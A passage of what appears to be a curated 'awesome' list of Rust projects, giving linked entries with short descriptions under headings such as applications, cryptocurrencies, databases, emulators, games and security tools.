[Bioinformatics](#bioinformatics) * [Caching](#caching) * [Cloud](#cloud) * [Command-line](#command-line) * [Compression](#compression) * [Computation](#computation) * [Concurrency](#concurrency) * [Configuration](#configuration) * [Cryptography](#cryptography) * [Data processing](#data-processing) * [Data streaming](#data-streaming) * [Data structures](#data-structures) * [Data visualization](#data-visualization) * [Database](#database-1) * [Date and time](#date-and-time) * [Distributed systems](#distributed-systems) * [Domain driven design](#domain-driven-design) * [Email](#email) * [Encoding](#encoding) * [Filesystem](#filesystem) * [Finance](#finance) * [Functional Programming](#functional-programming) * [Game development](#game-development) * [Geospatial](#geospatial) * [Graph algorithms](#graph-algorithms) * [Graphics](#graphics-1) * [GUI](#gui) * [Image processing](#image-processing-1) * [Language specification](#language-specification) * [Logging](#logging) * [Macro](#macro) * [Markup language](#markup-language) * [Mobile](#mobile) * [Network programming](#network-programming) * [Parsing](#parsing) * [Peripherals](#peripherals) * [Platform specific](#platform-specific) * [Scripting](#scripting) * [Simulation](#simulation-1) * [System](#system) * [Task scheduling](#task-scheduling-1) * [Template engine](#template-engine) * [Text processing](#text-processing-1) * [Text search](#text-search) * [Unsafe](#unsafe) * [Video](#video-1) * [Virtualization](#virtualization-1) * [Web programming](#web-programming) - [Registries](#registries) - [Resources](#resources) - [License](#license) <!-- tocstop --> ## Applications See also [Rust — Production](https://www.rust-lang.org/production) organizations running Rust in production. * [alacritty](https://github.com/alacritty/alacritty) — A cross-platform, GPU enhanced terminal emulator * [Arti](https://gitlab.torproject.org/tpo/core/arti) — An implementation of Tor, in Rust. (So far, it's a not-very-complete client. But watch this space!) [![Crates.io](https://img.shields.io/crates/v/arti.svg)](https://crates.io/crates/arti) * [asm-cli-rust](https://github.com/cch123/asm-cli-rust) — An interactive assembly shell written in rust. * [broot](https://github.com/Canop/broot) A new way to see and navigate directory trees (get an overview of a directory, even a big one; find a directory then `cd` to it; never lose track of file hierarchy while you search; manipulate your files, ...), further reading [dystroy.org/broot](https://dystroy.org/broot/) [![Latest Version](https://img.shields.io/crates/v/broot.svg)](https://crates.io/crates/broot) * [cloudflare/boringtun](https://github.com/cloudflare/boringtun) — A Userspace WireGuard VPN Implementation [![build badge](https://img.shields.io/badge/crates.io-v0.2.0-orange.svg)](https://crates.io/crates/boringtun) * [datafusion](https://github.com/apache/arrow-datafusion) — Apache Arrow DataFusion and Ballista query engines * [denoland/deno](https://github.com/denoland/deno) — A secure JavaScript/TypeScript runtime built with V8, Rust, and Tokio [![Build Status](https://github.com/denoland/deno/workflows/ci/badge.svg?branch=master&event=push)](https://github.com/denoland/deno/actions) * [doprz/dipc](https://github.com/doprz/dipc) — Convert your favorite images and wallpapers with your favorite color palettes/themes [![crates.io](https://img.shields.io/crates/v/dipc)](https://crates.io/crates/dipc) * [Factotum](https://github.com/snowplow/factotum) — [A system to programmatically run data pipelines](https://snowplow.io/blog/introducing-factotum-data-pipeline-runner/) * [fcsonline/drill](https://github.com/fcsonline/drill) — A HTTP load testing application inspired by Ansible syntax * [fend](https://github.com/printfn/fend) - Arbitrary-precision unit-aware calculator [![build](https://github.com/printfn/fend/workflows/build/badge.svg)](https://github.com/printfn/fend) * [Fractalide](https://github.com/fractalide/fractalide) — Simple Rust Microservices * [habitat](https://github.com/habitat-sh/habitat) — A tool created by Chef to build, deploy, and manage applications. * [Herd](https://github.com/imjacobclark/Herd) — an experimental HTTP load testing application * [innernet](https://github.com/tonarino/innernet) - An overlay or private mesh network that uses Wireguard under the hood * [jedisct1/flowgger](https://github.com/awslabs/flowgger) — A fast, simple and lightweight data collector * [kalker](https://github.com/PaddiM8/kalker) - A scientific calculator that supports math-like syntax with user-defined variables, functions, derivation, integration, and complex numbers. Cross platform + WASM support [![Build Status](https://github.com/PaddiM8/kalker/workflows/Release/badge.svg)](https://github.com/PaddiM8/kalker/actions) * [kytan](https://github.com/changlan/kytan) — High Performance Peer-to-Peer VPN * [linkerd/linkerd2-proxy](https://github.com/linkerd/linkerd2-proxy) — Ultralight service mesh for Kubernetes. * [MaidSafe](https://github.com/maidsafe) — A decentralized platform. * [mdBook](https://github.com/rust-lang/mdBook) — A command line utility to create books from markdown files [![Build Status](https://github.com/rust-lang/mdBook/workflows/CI/badge.svg?branch=master)](https://github.com/rust-lang/mdBook/actions) * [nicohman/eidolon](https://github.com/nicohman/eidolon) — A steam and drm-free game registry and launcher for linux and macosx * [notty](https://github.com/withoutboats/notty) — A new kind of terminal * [Pijul](https://pijul.org) — A patch-based distributed version control system * [Rio](https://github.com/raphamorim/rio) - A hardware-accelerated GPU terminal emulator powered by WebGPU, focusing to run in desktops and browsers. * [rx](https://github.com/cloudhead/rx) — Vi inspired Modern Pixel Art Editor * [Servo](https://github.com/servo/servo) — A prototype web browser engine * [shoes](https://github.com/cfal/shoes) - A multi-protocol proxy server * [shuttle](https://github.com/shuttle-hq/shuttle) — A serverless platform built for Rust * [Sniffnet](https://github.com/GyulyVGC/sniffnet) — Cross-platform application to monitor your network traffic with ease [![build badge](https://img.shields.io/github/actions/workflow/status/gyulyvgc/sniffnet/rust.yml?logo=github)](https://github.com/GyulyVGC/sniffnet/blob/main/.github/workflows/rust.yml) [![crate](https://img.shields.io/crates/v/sniffnet?logo=rust)](https://crates.io/crates/sniffnet) * [SWC](https://github.com/swc-project/swc) — super-fast TypeScript / JavaScript compiler * [tiny](https://github.com/osa1/tiny) — A terminal IRC client * [trust-dns](https://crates.io/crates/trust-dns) — A DNS-server [![Build Status](https://github.com/bluejekyll/trust-dns/workflows/test/badge.svg?branch=main)](https://github.com/bluejekyll/trust-dns/actions?query=workflow%3Atest) * [wasmer](https://github.com/wasmerio/wasmer) — A safe and fast WebAssembly runtime supporting WASI and Emscripten [![Build Status](https://github.com/wasmerio/wasmer/workflows/build/badge.svg?style=flat-square)](https://github.com/wasmerio/wasmer/actions) * [Weld](https://github.com/serayuzgur/weld) — Full fake REST API generator * [wezterm](https://github.com/wez/wezterm) — A GPU-accelerated cross-platform terminal emulator and multiplexer * [zellij](https://github.com/zellij-org/zellij) — A terminal multiplexer (workspace) with batteries included ### Audio and Music * [enginesound](https://github.com/DasEtwas/enginesound) — A GUI and command line application used to procedurally generate semi-realistic engine sounds. Featuring in-depth configuration, variable sample rate and a frequency analysis window. * [figsoda/mmtc](https://github.com/figsoda/mmtc) [[mmtc](https://crates.io/crates/mmtc)] — Minimal mpd terminal client that aims to be simple yet highly configurable [![build-badge](https://github.com/figsoda/mmtc/actions/workflows/ci.yml/badge.svg)](https://github.com/figsoda/mmtc/actions/workflows/ci.yml) * [Glicol](https://github.com/chaosprint/glicol) — Graph-oriented live coding language written in Rust for collaborative musicking in browsers. * [ncspot](https://github.com/hrkfdn/ncspot) - Cross-platform ncurses Spotify client, inspired by ncmpc and the likes. [![build badge](https://github.com/hrkfdn/ncspot/workflows/Build/badge.svg)](https://github.com/hrkfdn/ncspot/actions?query=workflow%3ABuild) * [Polaris](https://github.com/agersant/polaris) — A music streaming application. * [Spotify TUI](https://github.com/Rigellute/spotify-tui) — A Spotify client for the terminal written in Rust. ![Continuous Integration](https://github.com/Rigellute/spotify-tui/workflows/Continuous%20Integration/badge.svg?branch=master) * [Spotifyd](https://github.com/Spotifyd/spotifyd) — An open source Spotify client running as a UNIX daemon. ![Continuous Integration](https://github.com/Spotifyd/spotifyd/workflows/Continuous%20Integration/badge.svg?branch=master) * [WhatBPM](https://github.com/sergree/whatbpm) — A daily statically generated information resource for electronic dance music producers. Provides daily analytics on the most frequently used values for each EDM genre: tempos, keys, root notes, and so on, using publicly available data such as Beatport and Spotify. ![Continuous Integration](https://github.com/sergree/whatbpm/actions/workflows/website_build_deploy.yml/badge.svg?branch=main) ### Cryptocurrencies * [artemis](https://github.com/paradigmxyz/artemis) - A simple, modular, and fast framework for writing MEV bots in Rust. * [beerus](https://github.com/keep-starknet-strange/beerus) - Beerus is a trustless StarkNet Light Client, ⚡blazing fast ⚡ and powered by Rust 🦀 [![GitHub Workflow Status](https://github.com/keep-starknet-strange/beerus/actions/workflows/test.yml/badge.svg)](https://github.com/keep-starknet-strange/beerus/actions/workflows/test.yml) * [Bitcoin Satoshi's Vision](https://github.com/brentongunning/rust-sv) [[sv](https://crates.io/crates/sv)] — A Rust library for working with Bitcoin SV . * [cairo](https://github.com/starkware-libs/cairo) - Cairo is the first Turing-complete language for creating provable programs for general computation. This is also the native language of [StarkNet](https://www.starknet.io/en), a ZK-Rollup using STARK proofs ![GitHub Workflow Status](https://img.shields.io/github/workflow/status/starkware-libs/cairo/CI?style=flat-square&logo=github) * [cairo-vm](https://github.com/lambdaclass/cairo-vm) — Rust implementation of the Cairo VM [![rust](https://github.com/lambdaclass/cairo-vm/actions/workflows/rust.yml/badge.svg)](https://github.com/lambdaclass/cairo-vm/actions/workflows/rust.yml) * [ChainX](https://github.com/chainx-org/ChainX) — Fully Decentralized Interchain Crypto Asset Management on Polkadot. * [CITA](https://github.com/citahub/cita) — A high performance blockchain kernel for enterprise users. * [coinbase-pro-rs](https://github.com/inv2004/coinbase-pro-rs) — Coinbase pro client in Rust, supports sync/async/websocket * [Diem](https://github.com/diem/diem) — Diem’s mission is to enable a simple global currency and financial infrastructure that empowers billions of people. * [electrumrs](https://github.com/romanz/electrs) — An efficient re-implementation of Electrum Server in Rust. * [ethabi](https://github.com/rust-ethereum/ethabi) - Encode and decode smart contract invocations. * [ethaddrgen](https://github.com/Limeth/ethaddrgen) — Custom Ethereum vanity address generator made in Rust * [ethers-rs](https://github.com/gakonst/ethers-rs) - Complete Ethereum & Celo library and wallet implementation in Rust. ![Build Status](https://github.com/gakonst/ethers-rs/workflows/Tests/badge.svg) * [etk](https://github.com/quilt/etk) - etk is a collection of tools for writing, reading, and analyzing EVM bytecode. * [Forest](https://github.com/ChainSafe/forest) - Rust Filecoin implementation [![Build Status](https://img.shields.io/circleci/build/gh/ChainSafe/forest/main?branch=master)](https://app.circleci.com/pipelines/github/ChainSafe/forest?branch=main) * [Foundry](https://github.com/foundry-rs/foundry) - Foundry is a blazing fast, portable and modular toolkit for Ethereum application development written in Rust. ![Build Status](https://img.shields.io/github/workflow/status/foundry-rs/foundry/test?style=flat-square) * [Grin](https://github.com/mimblewimble/grin/) — Evolution of the MimbleWimble protocol * [hdwallet](https://github.com/jjyr/hdwallet) [[hdwallet](https://crates.io/crates/hdwallet)] — BIP-32 HD wallet related key derivation utilities. * [Holochain](https://github.com/holochain/holochain) — Scalable P2P alternative to blockchain for all those distributed apps you always wanted to build. [![detect critical check failures](https://github.com/holochain/holochain/actions/workflows/check_run_detect_release_pr_failure.yml/badge.svg)](https://github.com/holochain/holochain/actions/workflows/check_run_detect_release_pr_failure.yml) * [ibc-rs](https://github.com/informalsystems/hermes) - Rust implementation of the [Interblockchain Communication](https://ibc.cosmos.network/) protocol * [infincia/bip39-rs](https://github.com/infincia/bip39-rs) [[bip39](https://crates.io/crates/bip39)] — Rust implementation of BIP39. * [interBTC](https://github.com/interlay/interbtc) — Trustless and fully decentralized Bitcoin bridge to Polkadot and Kusama. * [Joystream](https://github.com/Joystream/joystream) — A user governed video platform * [Lighthouse](https://github.com/sigp/lighthouse) — Rust Ethereum Consensus Layer (CL) Client [![Build Status](https://github.com/sigp/lighthouse/workflows/test-suite/badge.svg?branch=master)](https://github.com/sigp/lighthouse/actions) * [madara](https://github.com/keep-starknet-strange/madara) - Kaioshin is a ⚡ blazing fast ⚡ Starknet sequencer, based on substrate and written in Rust 🦀. [![GitHub Workflow Status](https://github.com/keep-starknet-strange/madara/actions/workflows/test.yml/badge.svg)](https://github.com/keep-starknet-strange/madara/actions/workflows/test.yml) * [mev-inspect-rs](https://github.com/flashbots/mev-inspect-rs) - Ethereum MEV Inspector in Rust * [near/nearcore](https://github.com/near/nearcore) — decentralized smart-contract platform for low-end mobile devices. * [Nervos CKB](https://github.com/nervosnetwork/ckb) — Nervos CKB is a public permissionless blockchain, the common knowledge layer of Nervos network. * [Nimiq](https://github.com/nimiq/core-rs) — Rust implementation of Nimiq node * [opensea-rs](https://github.com/gakonst/opensea-rs) - Rust bindings & CLI to the Opensea API and Contracts. * [Parity-Bitcoin](https://github.com/paritytech/parity-bitcoin) — The Parity Bitcoin client * [Phala-Network/phala-blockchain](https://github.com/Phala-Network/phala-blockchain) — Confidential smart contract blockchain based on Intel SGX and Substrate * [Polkadot](https://github.com/paritytech/polkadot) — Heterogeneous multi‑chain technology with pooled security * [revm](https://github.com/bluealloy/revm) - Revolutionary Machine (revm) is a fast Ethereum virtual machine written in rust. * [rust-bitcoin](https://github.com/rust-bitcoin/rust-bitcoin) — Library with support for de/serialization, parsing and executing on data structures and network messages related to Bitcoin. * [rust-lightning](https://github.com/lightningdevkit/rust-lightning) [![Crate](https://img.shields.io/crates/v/lightning.svg?logo=rust)](https://crates.io/crates/lightning) — Bitcoin Lightning library written in Rust. The main crate,`lightning`, does not handle networking, persistence, or any other I/O. Thus,it is runtime-agnostic, but users must implement basic networking logic, chain interactions, and disk storage.po on linking crate. * [sigma-rust](https://github.com/ergoplatform/sigma-rust) — Rust implementation of ErgoTree interpreter and wallet-related features. * [Solana](https://github.com/solana-labs/solana) — Incredibly fast, highly scalable blockchain using Proof-of-History. * [Substrate](https://github.com/paritytech/substrate) — Generic modular blockchain template written in Rust * [svm-rs](https://github.com/alloy-rs/svm-rs) - Solidity-Compiler Version Manager. * [tendermint-rs](https://github.com/informalsystems/tendermint-rs) - Rust implementation of Tendermint blockchain data structures and clients * [wagyu](https://github.com/AleoHQ/wagyu) [[wagyu](https://crates.io/crates/wagyu)] — Rust library for generating cryptocurrency wallets * [zcash](https://github.com/zcash/zcash) — Zcash is an implementation of the "Zerocash" protocol. ### Database * [Atomic-Server](https://github.com/atomicdata-dev/atomic-server/) [[atomic-server](https://crates.io/crates/atomic_server)] - NoSQL graph database with realtime updates, dynamic indexing and easy-to-use GUI for CMS purposes. [![Release](https://github.com/atomicdata-dev/atomic-server/actions/workflows/docker.yml/badge.svg)](https://github.com/atomicdata-dev/atomic-server/actions/workflows/docker.yml) * [CozoDB](https://github.com/cozodb/cozo) - A transactional, relational database that uses Datalog and focuses on graph data and algorithms. Time-travel-capable, and fast! [![GitHub Workflow Status](https://img.shields.io/github/actions/workflow/status/cozodb/cozo/build.yml?branch=main)](https://github.com/cozodb/cozo/actions/workflows/build.yml) * [Databend](https://github.com/datafuselabs/databend) - A Modern Real-Time Data Processing & Analytics DBMS with Cloud-Native Architecture [![Release](https://github.com/datafuselabs/databend/actions/workflows/databend-release.yml/badge.svg)](https://github.com/datafuselabs/databend/actions/workflows/databend-release.yml) * [DB3 Network](https://github.com/dbpunk-labs/db3) — DB3 is a community-driven blockchain layer2 decentralized database network ![GitHub Workflow Status (with event)](https://img.shields.io/github/actions/workflow/status/dbpunk-labs/db3/ci.yml?branch=main&style=flat-square) * [GreptimeDB](https://github.com/grepTimeTeam/greptimedb/) - An open-source, cloud-native, distributed time-series database with PromQL/SQL/Python supported.[![CI](https://github.com/greptimeTeam/greptimedb/actions/workflows/develop.yml/badge.svg)](https://github.com/greptimeTeam/greptimedb/actions/workflows/develop.yml) * [indradb](https://crates.io/crates/indradb) — Rust based graph database * [Lucid](https://github.com/lucid-kv/lucid) — High performance and distributed KV store accessible through a HTTP API. [![Build Status](https://github.com/lucid-kv/lucid/workflows/Lucid/badge.svg?branch=master)](https://github.com/lucid-kv/lucid/actions?workflow=Lucid) * [Materialize](https://github.com/MaterializeInc/materialize) - Streaming SQL database powered by Timely Dataflow :heavy_dollar_sign: [![Build status](https://badge.buildkite.com/97d6604e015bf633d1c2a12d166bb46f3b43a927d3952c999a.svg?branch=main)](https://buildkite.com/materialize/tests) * [Neon](https://github.com/neondatabase/neon) Serverless Postgres. We separated storage and compute to offer autoscaling, branching, and bottomless storage. * [noria](https://github.com/mit-pdos/noria) [[noria](https://crates.io/crates/noria)] — Dynamically changing, partially-stateful data-flow for web application backends * [ParityDB](https://github.com/paritytech/parity-db) — Fast and reliable database, optimised for read operation * [PumpkinDB](https://github.com/PumpkinDB/PumpkinDB) — an event sourcing database engine * [Qdrant](https://github.com/qdrant/qdrant) - An open source vector similarity search engine with extended filtering support [![Tests](https://github.com/qdrant/qdrant/workflows/Tests/badge.svg)](https://github.com/qdrant/qdrant/actions) * [RisingWaveLabs/RisingWave](https://github.com/RisingWaveLabs/risingwave) - the next-generation streaming database in the cloud [![CI](https://github.com/RisingWaveLabs/risingwave/actions/workflows/main.yml/badge.svg)](https://github.com/RisingWaveLabs/risingwave/actions/workflows/main.yml/badge.svg?branch=main) * [seppo0010/rsedis](https://github.com/seppo0010/rsedis) — A Redis reimplementation in Rust * [Skytable](https://github.com/skytable/skytable) — A multi-model NoSQL database ![GitHub Workflow Status](https://img.shields.io/github/workflow/status/skytable/skytable/Tests?style=flat-square) * [sled](https://crates.io/crates/sled) — A (beta) modern embedded database [![Build Status](https://github.com/spacejam/sled/workflows/Rust/badge.svg?branch=master)](https://github.com/spacejam/sled/actions?workflow=Rust) * [SurrealDB](https://github.com/surrealdb/surrealdb) — A scalable, distributed, document-graph database [![Build Status](https://img.shields.io/github/workflow/status/surrealdb/surrealdb/Continuous%20integration/main)](https://github.com/surrealdb/surrealdb/actions) * [TerminusDB](https://github.com/terminusdb/terminusdb-store) - open source graph database and document store [![Build Status](https://github.com/terminusdb/terminusdb-store/workflows/Build/badge.svg?branch=master)](https://github.com/terminusdb/terminusdb-store/actions) * [tikv](https://github.com/tikv/tikv) — A distributed KV database in Rust [![Build Status](https://ci.pingcap.net/job/tikv_ghpr_test/badge/icon)](https://ci.pingcap.net/job/tikv_ghpr_test/) * [vorot93/libmdbx-rs](https://github.com/vorot93/libmdbx-rs) [[mdbx-sys](https://crates.io/crates/mdbx-sys)] — Rust bindings for MDBX, a "fast, compact, powerful, embedded, transactional key-value database, with permissive license". This is a fork of mozilla/lmdb-rs with patches to make it work with libmdbx. * [WooriDB](https://github.com/naomijub/wooridb) - General purpose time serial database inspired by Crux and Datomic. ### Emulators See also [crates matching keyword 'emulator'](https://crates.io/keywords/emulator). * CHIP-8 * [ColinEberhardt/wasm-rust-chip8](https://github.com/ColinEberhardt/wasm-rust-chip8) — A WebAssembly CHIP-8 emulator written with Rust * [starrhorne/chip8-rust](https://github.com/starrhorne/chip8-rust) — Yet another rust chip8 emulator * Commodore 64 * [kondrak/rust64](https://github.com/kondrak/rust64) — * Flash Player * [Ruffle](https://github.com/ruffle-rs/ruffle) — Ruffle is an Adobe Flash Player emulator written in the Rust programming language. Ruffle targets both the desktop and the web using WebAssembly. [![CI](https://github.com/ruffle-rs/ruffle/actions/workflows/test_rust.yml/badge.svg)](https://github.com/ruffle-rs/ruffle/actions/workflows/test_rust.yml)[![CI](https://github.com/ruffle-rs/ruffle/actions/workflows/test_web.yml/badge.svg)](https://github.com/ruffle-rs/ruffle/actions/workflows/test_web.yml) * Gameboy * [Gekkio/mooneye-gb](https://github.com/Gekkio/mooneye-gb) — * [joamag/boytacean](https://github.com/joamag/boytacean) — GameBoy Color emulator written in Rust that runs on the Web using WebAssembly. * [mohanson/gameboy](https://github.com/mohanson/gameboy) — Full featured Cross-platform GameBoy emulator. Forever boys!. * [mvdnes/rboy](https://github.com/mvdnes/rboy) — * Gameboy Advance * [michelhe/rustboyadvance-ng](https://github.com/michelhe/rustboyadvance-ng) - RustboyAdvance-ng is a Gameboy Advance emulator with desktop, android and [WebAssembly](https://michelhe.github.io/rustboyadvance-ng/) support. [![build badge](https://github.com/michelhe/rustboyadvance-ng/workflows/Deploy/badge.svg?branch=master)](https://github.com/michelhe/rustboyadvance-ng/actions?query=workflow%3ADeploy) * GameMaker * [OpenGMK](https://github.com/OpenGMK/OpenGMK) — OpenGMK is a modern rewrite of the proprietary GameMaker Classic engines, providing a full sourceport of the runner, a decompiler, a TASing framework, and libraries for working with gamedata yourself. * Intel 8080 CPU * [mohanson/i8080](https://github.com/mohanson/i8080) — Intel 8080 cpu emulator by Rust * iOS * [touchHLE](https://github.com/hikari-no-yume/touchHLE) — High-level emulator for iPhone OS apps * iPod * [clicky](https://github.com/daniel5151/clicky) — A clickwheel iPod emulator (WIP) * NES * [koute/pinky](https://github.com/koute/pinky) — * [pcwalton/sprocketnes](https://github.com/pcwalton/sprocketnes) * PlayStation 4 * [Obliteration](https://github.com/obhq/obliteration) — Experimental PS4 emulator written in Rust for Windows, macOS and Linux [![CI](https://github.com/obhq/obliteration/actions/workflows/main.yml/badge.svg)](https://github.com/obhq/obliteration/actions/workflows/main.yml) * ZX Spectrum * [rustzx/rustzx](https://github.com/rustzx/rustzx) — [![RustZX CI](https://github.com/rustzx/rustzx/actions/workflows/ci.yml/badge.svg)](https://github.com/rustzx/rustzx/actions/workflows/ci.yml) ### Games See also [Games Made With Piston](https://github.com/PistonDevelopers/piston/wiki/Games-Made-With-Piston). * [citybound](https://github.com/citybound/citybound) — The city sim you deserve * [cristicbz/rust-doom](https://github.com/cristicbz/rust-doom) — A renderer for Doom, may progress to being a playable game * [doukutsu-rs](https://github.com/doukutsu-rs/doukutsu-rs) — A Rust reimplementation of Cave Story engine with some enhancements. * [garkimasera/rusted-ruins](https://github.com/garkimasera/rusted-ruins) — Extensible open world rogue like game with pixel art * [gorilla-devs/ferium](https://github.com/gorilla-devs/ferium) — Ferium is a fast and feature rich CLI program for downloading and updating Minecraft mods from Modrinth, CurseForge, and GitHub Releases, and modpacks from Modrinth and CurseForge ![ferium build](https://github.com/gorilla-devs/ferium/actions/workflows/build.yml/badge.svg?branch=main) * [lifthrasiir/angolmois-rust](https://github.com/lifthrasiir/angolmois-rust) — A minimalistic music video game which supports the BMS format * [mara214/rsnake](https://github.com/mara214/rsnake) — Snake written in Rust. * [mtkennerly/ludusavi](https://github.com/mtkennerly/ludusavi) — Backup tool for PC game saves [![build badge](https://img.shields.io/github/actions/workflow/status/mtkennerly/ludusavi/main.yaml?logo=github)](https://github.com/mtkennerly/ludusavi/actions/workflows/main.yaml) [![crate](https://img.shields.io/crates/v/ludusavi?logo=rust)](https://crates.io/crates/ludusavi) * [ozkriff/zemeroth](https://github.com/ozkriff/zemeroth) — A small 2D turn-based hexagonal strategy game * [rhex](https://github.com/dpc/rhex) — hexagonal ascii roguelike * [rsaarelm/magog](https://github.com/rsaarelm/magog) — A roguelike game in Rust * [SoftbearStudios/mk48](https://github.com/SoftbearStudios/mk48) — Mk48.io is an online multiplayer naval combat game * [swatteau/sokoban-rs](https://github.com/swatteau/sokoban-rs) — A Sokoban implementation * [thetawavegame/thetawave-legacy](https://github.com/thetawavegame/thetawave-legacy) - A space shooter game that strives to be an entry point for new game developers to make their first contributions. ![build badge](https://github.com/thetawavegame/thetawave-legacy/actions/workflows/ci.yml/badge.svg?branch=master) * [Thinkofname/rust-quake](https://github.com/Thinkofname/rust-quake) — Quake map renderer in Rust * [ttyperacer/terminal-typeracer](https://gitlab.com/ttyperacer/terminal-typeracer) - Single player typing test game written for the terminal * [Veloren](https://gitlab.com/veloren/veloren) — An open world, open source multiplayer voxel RPG game currently in alpha development [![build badge](https://gitlab.com/veloren/veloren/badges/master/pipeline.svg)](https://gitlab.com/veloren/veloren/-/pipelines) * [Zone of Control](https://github.com/ozkriff/zoc) — A turn-based hexagonal strategy game ### Graphics * [ivanceras/svgbob](https://github.com/ivanceras/svgbob) — converts ASCII diagrams into SVG graphics * [Limeth/euclider](https://github.com/Limeth/euclider) — A real-time 4D CPU ray tracer * [RazrFalcon/resvg](https://github.com/RazrFalcon/resvg) — An SVG rendering library. * [rustq/vue-skia](https://github.com/rustq/vue-skia) — Skia based 2d graphics vue rendering library. It is based on Rust to implement software rasterization to perform rendering. * [turnage/valora](https://crates.io/crates/valora) — A library for generative fine art ![Rust](https://github.com/turnage/valora/workflows/Rust/badge.svg?branch=master) * [Twinklebear/tray_rust](https://github.com/Twinklebear/tray_rust) — A ray tracer ### Image processing * [Imager](https://github.com/imager-io/imager) — Automated image optimization. * [shssoichiro/oxipng](https://github.com/shssoichiro/oxipng) [[oxipng](https://crates.io/crates/oxipng)] — Multithreaded PNG optimizer written in Rust. [![Build Status](https://github.com/shssoichiro/oxipng/workflows/oxipng/badge.svg)](https://github.com/shssoichiro/oxipng/actions?query=branch%3Amaster) [![Version](https://img.shields.io/crates/v/oxipng.svg)](https://crates.io/crates/oxipng) ### Industrial automation * [locka99/opcua](https://github.com/locka99/opcua) — A pure rust [OPC UA](https://opcfoundation.org/about/opc-technologies/opc-ua/) library. * [slowtec/tokio-modbus](https://github.com/slowtec/tokio-modbus) — A [tokio](https://tokio.rs)-based [modbus](https://modbus.org) library. ### Observability * [avito-tech/bioyino](https://github.com/avito-tech/bioyino) — A high-performance scalable StatsD compatible server. * [OpenTelemetry](https://crates.io/crates/opentelemetry) — OpenTelemetry provides a single set of APIs, libraries, agents, and collector services to capture distributed traces and metrics from your application. You can analyze them using Prometheus, Jaeger, and other observability tools. [![GitHub Actions CI](https://github.com/open-telemetry/opentelemetry-rust/workflows/CI/badge.svg?branch=master)](https://github.com/open-telemetry/opentelemetry-rust/actions?query=workflow%3ACI+branch%3Amaster) * [Quickwit-oss/quickwit](https://github.com/quickwit-oss/quickwit) - Cloud-native and highly cost-efficient search engine for log management. [![CI](https://github.com/quickwit-oss/quickwit/actions/workflows/ci.yml/badge.svg?branch=main)](https://github.com/quickwit-oss/quickwit/actions?query=workflow%3ACI) * [Scaphandre](https://github.com/hubblo-org/scaphandre) - A power consumption monitoring agent, to track host and each service power consumption and enable designing systems and applications for more sustainability. Designed to fit any monitoring toolchain (already supports prometheus, warp10, riemann...). * [vectordotdev/vector](https://github.com/vectordotdev/vector) — A High-Performance, Logs, Metrics, & Events Router. ### Operating systems See also [A comparison of operating systems written in Rust](https://github.com/flosse/rust-os-comparison). * [0x59616e/SteinsOS](https://github.com/0x59616e/SteinsOS) — An OS for armv8-a architecture. * [Andy-Python-Programmer/aero](https://github.com/Andy-Python-Programmer/aero) — A modern, unix-like operating system following the monolithic kernel design. * [redox-os/redox](https://gitlab.redox-os.org/redox-os/redox) — * [thepowersgang/rust_os](https://github.com/thepowersgang/rust_os) — * [theseus-os/Theseus](https://github.com/theseus-os/Theseus) — A safe-language, single address space and single privilege level OS written from scratch in pure Rust - [![build badge](https://img.shields.io/github/workflow/status/theseus-os/Theseus/Documentation?label=docs%20build)](https://www.theseus-os.com/Theseus/book/index.html) * [tock/tock](https://github.com/tock/tock) — A secure embedded operating system for Cortex-M based microcontrollers ### Payments * [hyperswitch](https://github.com/juspay/hyperswitch) — An open source payments orchestrator that lets you connect with multiple payment processors and route payment traffic effortlessly, all with a single API integration ![GitHub last commit](https://img.shields.io/github/last-commit/juspay/hyperswitch?style=flat-square) ### Productivity * [Bartib](https://github.com/nikolassv/bartib) [[Bartib](https://crates.io/crates/bartib)] - A simple timetracker for the command line [![Tests](https://github.com/nikolassv/bartib/actions/workflows/test.yml/badge.svg?branch=master)](https://github.com/nikolassv/bartib/actions/workflows/test.yml) * [espanso](https://github.com/espanso/espanso) — A cross-platform Text Expander written in Rust[![CI](https://github.com/espanso/espanso/actions/workflows/ci.yml/badge.svg?branch=dev&event=push)](https://github.com/espanso/espanso/actions/workflows/ci.yml) * [eureka](https://crates.io/crates/eureka) — A CLI tool to input and store your ideas without leaving the terminal * [Furtherance](https://github.com/lakoliu/Furtherance) - Time tracking app built with Rust and GTK4 * [illacloud/illa](https://github.com/illacloud/illa) [[ILLA Cloud](https://www.illacloud.com/)] - Low-code internal tool builder written with Rust. * [LLDAP](https://github.com/lldap/lldap) - Simplified LDAP interface for authentication. * [pier-cli/pier](https://github.com/pier-cli/pier) — A central repository to manage (add, search metadata, etc.) all your one-liners, scripts, tools, and CLIs ### Routing protocols * [Holo](https://github.com/rwestphal/holo) - Holo is a suite of routing protocols designed to support high-scale and automation-driven networks * [RustyBGP](https://github.com/osrg/rustybgp) - BGP implemented in the Rust Programming Language ### Security tools * [AFLplusplus/LibAFL](https://github.com/AFLplusplus/LibAFL) - Advanced Fuzzing Library - Slot your Fuzzer together in Rust! Scales across cores and machines. For Windows, Android, MacOS, Linux, no_std, etc. [![build and test](https://github.com/AFLplusplus/LibAFL/actions/workflows/build_and_test.yml/badge.svg)](https://github.com/AFLplusplus/LibAFL/actions/workflows/build_and_test.yml) * [cargo-audit](https://crates.io/crates/cargo-audit) - Audit Cargo.lock for crates with security vulnerabilities * [cargo-auditable](https://crates.io/crates/cargo-auditable) - Make production Rust binaries auditable * [cargo-crev](https://crates.io/crates/cargo-crev) - A cryptographically verifiable code review system for the cargo (Rust) package manager. * [cargo-deny](https://crates.io/crates/cargo-deny) - Cargo plugin to help you manage large dependency graphs * [Cherrybomb](https://github.com/blst-security/cherrybomb) - Stop half-done API specifications with a CLI tool that helps you avoid undefined user behaviour by validating your API specifications. * [cotp](https://github.com/replydev/cotp) - Trustworthy, encrypted, command-line TOTP/HOTP authenticator app with import functionality. * [epi052/feroxbuster](https://github.com/epi052/feroxbuster) - A simple, fast, recursive content discovery tool written in Rust ( * [Inspektor](https://github.com/inspektor-dev/inspektor) - A database protocol-aware proxy that is used to enforce access policies 👮 * [kpcyrd/authoscope](https://github.com/kpcyrd/authoscope) — A scriptable network authentication cracker * [kpcyrd/rshijack](https://github.com/kpcyrd/rshijack) — A TCP connection hijacker, rust rewrite of shijack * [kpcyrd/sn0int](https://github.com/kpcyrd/sn0int) — A semi-automatic OSINT framework and package manager * [kpcyrd/sniffglue](https://github.com/kpcyrd/sniffglue) — A secure multithreaded packet sniffer * [ObserverWard](https://github.com/0x727/ObserverWard) — Community based web technologies analysis tool. * [ripasso](https://github.com/cortex/ripasso/) — A password manager, filesystem compatible with pass * [rustscan/rustscan](https://github.com/RustScan/RustScan) — Make Nmap faster with this port scanning 